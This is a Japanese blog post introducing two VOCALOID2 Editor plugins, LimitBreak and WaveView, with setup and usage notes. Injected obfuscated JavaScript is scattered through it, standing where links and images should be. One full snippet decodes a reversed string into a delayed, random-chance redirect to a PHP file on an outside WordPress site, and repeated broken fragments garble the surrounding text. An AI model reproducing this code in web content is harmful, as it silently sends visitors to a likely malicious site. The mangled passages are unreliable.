「はちゅねのないしょ」同時再生トラック数の制限解除プラグイン公開された

今までVOCALOID2 Editorで複数トラックを使用していたとき、5つを超えるトラックを再生しようとするたびにレンダリングが入っていらいらしてました。

しかし、ないしょさんが作ったプラグインで解決できるようになりました。

おなじみ「はちゅねのないしょ」の新しいプラグインである「LimitBreak」がそれになります。

<配布サイト>

はちゅねのないしょdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www.geocities.jp/hatsune_wave/

プラグイン名で、「LimitBreak」をダウンロードして使用してください。

プラグインをREADMEに書いてあるとおりセットアップ。

うちでは、すでにいろいろプラグインをいれているので、以下のようになりました。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110527_001″ rel=”attachment wp-att-826″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Windows 7 64bit環境ですが、普通に動作しました。

最近、ボカロがいじれてませんが、こういうプラグインがでてくるとテンションがあがってしまいます。

なにかボカロに歌わせたいです。

VOCALOID2 EditorのWaveViewプラグイン紹介

はちゅねのないしょのプラグインでカバー曲の歌声作成時に使っているプラグインです。

今回は声のタイミング用です。

音階的なものは、WallToneのほうになります。

今回は、WaveViewの紹介です。

このプラグインは、WAV波形をエディタ上に表示できるようになるものです。

オプション設定でピアノロールかコントロールトラックのどちらかに表示できます。

濃度も変更できるので作業の邪魔になると思ったら薄くしておくといいです。

今回は歌いだしや音の長さを合わせるために、同時再生しながら合わせてることが多いですが

それをやりやすくするために、波形を重ねます。

以下の画像のように表示になります。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

これはコントロールトラックに表示している状態です。

VELで位置があうかわかるようにしています。

音の大きさもわかるためDYNに使うのもいいと思います。

オプションは以下の画像のとおりです。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Waeファイルは波形を表示したいWAVファイルの指定。

濃度は、波形の濃さです。VELならいいですが、DYNと重ねる場合は濃くしないと見えなかったりします。

これは、適宜左右に振ってやりやすいように調整です。

オフセットは、位置合わせです。WAVファイルの再生位置と、ボカロエディタ上の歌いだしが基本ずれるため

数字をいれて合わせます。

+をいれると右に、-を入れると左に寄ります。

表示位置は、ピアノロール化、コントロールトラックです。

歌いだしの位置合わせなら、ピアノロールでもいいのですが、ピアノロールのノートの位置は高さがまちまちとなるため

個人的にはピアノロールのほうが歌いだしを合わせるのはやりやすいです。

歌い終わりの部分を確認するならノートでいいかもしれないです。

これもやりやすいほうに、適宜変更ですね。

今回紹介したプラグインおよび本体を配布しているサイト。

はちゅねのないしょ

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www.geocities.jp/hatsune_wave/

WaveViewが、今回紹介したプラグインになります。